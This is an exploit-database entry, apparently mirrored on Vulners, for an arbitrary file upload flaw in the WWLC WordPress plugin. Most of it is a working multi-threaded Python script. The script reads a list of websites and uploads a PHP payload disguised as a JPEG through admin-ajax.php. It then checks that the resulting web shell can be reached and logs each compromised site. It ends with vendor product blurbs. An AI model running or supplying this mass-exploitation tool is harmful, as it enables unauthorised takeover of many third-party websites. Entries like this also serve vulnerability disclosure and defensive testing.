=============================================================================================================================================
| # Title : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Mass Scanner Multi‑Threaded Python Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://woocommerce.com/ |
=============================================================================================================================================
[+] Summary : This Python tool is a multi‑threaded scanner designed to detect an arbitrary file upload vulnerability in the WWLC WordPress plugin.
The script loads a list of target websites from a file and attempts to upload a crafted PHP payload through the vulnerable admin-ajax.php
endpoint using the wwlc_file_upload_handler action. After sending the upload request, the tool verifies whether the file was successfully stored in the WordPress uploads directory by requesting the generated file URL.
The scanner supports retry logic, connection error handling, and concurrent scanning using multiple threads for faster large‑scale assessments.
Successful uploads are recorded in output files for later review, while failed or unreachable targets are handled gracefully to maintain scan stability.
[+] POC :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import json
import time
import threading
import queue
from urllib.parse import urlparse
import requests
from colorama import init, Fore, Style
init(autoreset=True)
THREADS = 40
TIMEOUT = 10
RETRIES = 6
SITES_FILE = "kll.txt"
BPVULN_FILE = "exploited.txt"
VULN_FILE = "vuln.txt"
PAYLOAD_PATH = "/sdcard/1/404_protected.php"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "application/json, text/javascript, */*; q=0.01",
}
FILE_SETTINGS = {
"allowed_file_types": ["php", "png", "jpg"],
"max_allowed_file_size": 5000000
}
file_lock = threading.Lock()
requests.packages.urllib3.disable_warnings()
def create_session():
session = requests.Session()
session.headers.update(HEADERS)
session.verify = False
return session
def normalize(site):
site = site.strip()
if not site.startswith("http://") and not site.startswith("https://"):
site = "http://" + site
return site.rstrip("/")
def load_sites():
if not os.path.exists(SITES_FILE):
print(Fore.RED + f"[-] {SITES_FILE} not found")
sys.exit(1)
with open(SITES_FILE, "r", encoding="utf-8") as f:
sites = [normalize(line) for line in f if line.strip()]
return sites
def check_vulnerability(site, session):
parsed = urlparse(site)
base = f"{parsed.scheme}://{parsed.netloc}"
ajax_url = base + "/wp-admin/admin-ajax.php"
uploads_dir = base + "/wp-content/uploads"
for attempt in range(RETRIES):
try:
with open(PAYLOAD_PATH, "rb") as f:
file_data = f.read()
except Exception as e:
print(Fore.RED + f"[!] Payload error: {e}")
return None
files = {
"action": (None, "wwlc_file_upload_handler"),
"uploaded_file": ("404.php.jpg", file_data, "image/jpeg"),
"file_settings": (None, json.dumps(FILE_SETTINGS), "application/json")
}
try:
response = session.post(ajax_url, files=files, timeout=TIMEOUT)
try:
data = response.json()
except Exception:
data = None
if isinstance(data, dict):
if data.get("status") == "success" and "file_name" in data:
filename = data["file_name"]
shell_url = uploads_dir + "/" + filename
try:
verify = session.get(shell_url, timeout=TIMEOUT)
if verify.status_code == 200:
print(Fore.GREEN + f"[+] {site} -> {filename}")
return ("success", filename, uploads_dir)
except Exception:
pass
return ("fail", None, None)
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError):
if attempt < RETRIES - 1:
print(Fore.YELLOW + f"[~] {site} retry {attempt+1}/{RETRIES}")
time.sleep(1)
else:
print(Fore.RED + f"[-] {site} failed after retries")
return ("timeout", None, None)
except Exception as e:
print(Fore.RED + f"[!] {site} unexpected error: {e}")
return ("error", None, None)
return ("fail", None, None)
def worker(q, session):
while True:
try:
site = q.get(timeout=1)
except queue.Empty:
break
result = check_vulnerability(site, session)
if result and result[0] == "success":
_, filename, uploads_dir = result
with file_lock:
with open(BPVULN_FILE, "a", encoding="utf-8") as f:
f.write(f"{site} > {filename}\n")
with open(VULN_FILE, "a", encoding="utf-8") as f:
f.write(f"{uploads_dir}\n")
q.task_done()
session.close()
def main():
print(Fore.CYAN + Style.BRIGHT + """
╔════════════════════════════════════╗
║ WWLC File Upload Mass Scanner ║
║ Fixed by indoushka ║
╚════════════════════════════════════╝
""")
sites = load_sites()
print(Fore.CYAN + f"[*] Loaded {len(sites)} sites")
for f in [BPVULN_FILE, VULN_FILE]:
if os.path.exists(f):
os.remove(f)
q = queue.Queue()
for site in sites:
q.put(site)
threads = []
for _ in range(min(THREADS, len(sites))):
session = create_session()
t = threading.Thread(target=worker, args=(q, session))
t.daemon = True
t.start()
threads.append(t)
q.join()
for t in threads:
t.join(timeout=1)
print(Fore.CYAN + "[*] Scan completed")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation